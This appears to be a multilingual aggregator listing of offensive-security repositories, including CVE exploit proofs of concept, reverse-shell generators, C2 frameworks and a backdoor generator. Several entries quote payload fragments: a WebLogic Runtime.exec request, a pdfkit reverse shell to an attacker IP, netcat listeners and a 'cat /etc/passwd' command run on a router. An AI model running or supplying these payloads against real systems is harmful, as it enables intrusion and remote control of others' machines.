CVE-2018-2893

Данное программное обеспечение предназначено только для обучения и обмена, запрещено для любых незаконных действий Название выбрано в основном для того, чтобы хайпануть на волне 2893; генератор реверс-шеллов Основная функция — генерировать объект для прослушивания внешнего nc, надеюсь, что это...

micr0_shell

micr0 shell Micr0shell est un script Python léger et efficace conçu pour générer dynamiquement du shellcode de reverse shell Windows X64 sans code position-indépendant PIC et sans octets nuls. Selon les options sélectionnées, le shellcode généré peut être jusqu'à 27 octets plus petit que le...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 — Удаленное переполнение буфера, переписанное для python3 для курса PNPT. Оригинал: Автор KAhara MAnhara Переписано: на python3 Джузеппе Алоизи Giuseppe Aloisi Achat 0.150 beta7 — Переполнение буфера Протестировано на Windows 7 32-bit...

SNOWCRASH

SNOWCRASH Un générateur de charge utile polyglotte Introduction SNOWCRASH crée un script pouvant être lancé à la fois sur des machines Linux et Windows. La charge utile sélectionnée par l'utilisateur dans ce cas, du code Bash et Powershell combiné est intégrée dans un modèle polyglotte unique,...

mcpExec

mcpExec — это инструмент, который использует уязвимость CVE-2026-23744 для получения обратного шелла через URL уязвимой установки MCPJam Inspector. Установка git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install...

netpwn

netpwn Un framework conçu pour automatiser les tâches de pentesting. Écrit en Python 2.7 Modules reverseshell - Crée un reverse shell avec Python pour se connecter à une machine de votre choix. sendfile - Permet d'envoyer un fichier vers un serveur cible. phpbackdoor - Génère une simple backdoor ...

sophucked

sophucked CVE-2020-25223 RCE PoC, получает обратную оболочку. Без аутентификации. Реализовано быстро, так как требовалось для объединения некоторых угроз-магнитов. Пример использования: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + запускаем обработчик на порту 80 + Отправляем callback на...

GodGenesis

Bienvenue sur God Genesis God Genesis est un serveur C2 entièrement codé en Python3 créé pour aider les Red Teamers et les testeurs de pénétration. Actuellement, il ne supporte que le reverse shell TCP, mais attendez une minute, il est FUD et peut vous donner un shell administrateur depuis...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53', '700...

HTTP-Shell

HTTP-Shell HTTP-Shell est un Reverse Shell multiplateforme. Cet outil vous aide à obtenir une interface de type shell sur une connexion inverse via HTTP. Contrairement à d'autres reverse shells, l'objectif principal de l'outil est de l'utiliser conjointement avec Microsoft Dev Tunnels, afin...

CVE-2020-8515

CVE-2020-8515 Draytek CVE-2020-8515 PoC, который у меня валялся. Забавно, но внедренная команда выполняется дважды, смотрите здесь: $ ./draytek.py draytek.local executing command: cat /etc/passwd + vulnerable! executing command: uname -a Linux Vigor3900 2.6.33.5 1 Wed Mar 28 00:49:28 CST 2018...

rsg

Генератор обратных оболочек - rsg Инструмент для генерации различных способов создания обратной оболочки Пример использования Ресурсы по обратным оболочкам http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html...

rsg

Reverse Shell Generator - rsg A tool to generate various ways to do a reverse shell Usage example Reverse Shell fonts http://bernardodamele.blogspot.com.br/2011/09/reverse-shells-one-liners.html http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet...

CVE-2025-49619

CVE-2025-49619 PoC Ce script exploite CVE-2025-49619 dans Skyvern pour exécuter une commande de shell inversé. Auteur Nom : Cristian Branet GitHub : cristibtz Utilisation 1. Démarrer un écouteur nc -lvnp 2. Exécuter l'exploit python3 exploit.py -u "http://:" -k "" -i -p : Adresse IP du serveur...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 PoC 리버스 셸 Apache 2.4.50 with CGI 사용법 : chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 추가 정보: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 nc -lvnp 9999 참고 자료...

CVE-2017-7269

GenWebDavIISExploit - это PoC-инструмент, демонстрирующий эксплуатацию известной уязвимости в компоненте WebDAV на IIS6. Этот инструмент создан в образовательных и исследовательских целях, чтобы показать, как уязвимость может быть использована для выполнения произвольного кода на удаленном...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modifier les valeurs en gras : curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

SSRFX

CVE-2014-4210+Redis неавторизованный доступ Установка pip install -r requirements.txt Использование usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional argument...

c2-cloud

À propos du projet Le C2 Cloud est un framework C2 web robuste, conçu pour simplifier la vie des testeurs d'intrusion. Il permet un accès facile aux backdoors compromises, tout comme l'accès à une instance EC2 dans le cloud AWS. Il peut gérer plusieurs sessions de backdoor simultanément avec une...

CrestCrack

CrestCrack CrestCrack — это простой скрипт, эксплуатирующий CVE-2016-5640 / CLVA-2016-05-002 в Crestron AirMedia AM-100 v1.1.1.11 - v1.2.1. При передаче аргументов CrestCrack использует netcat для создания reverse shell между вашей целью и выбранным вами netcat-слушателем. Установка: 1. Склонируй...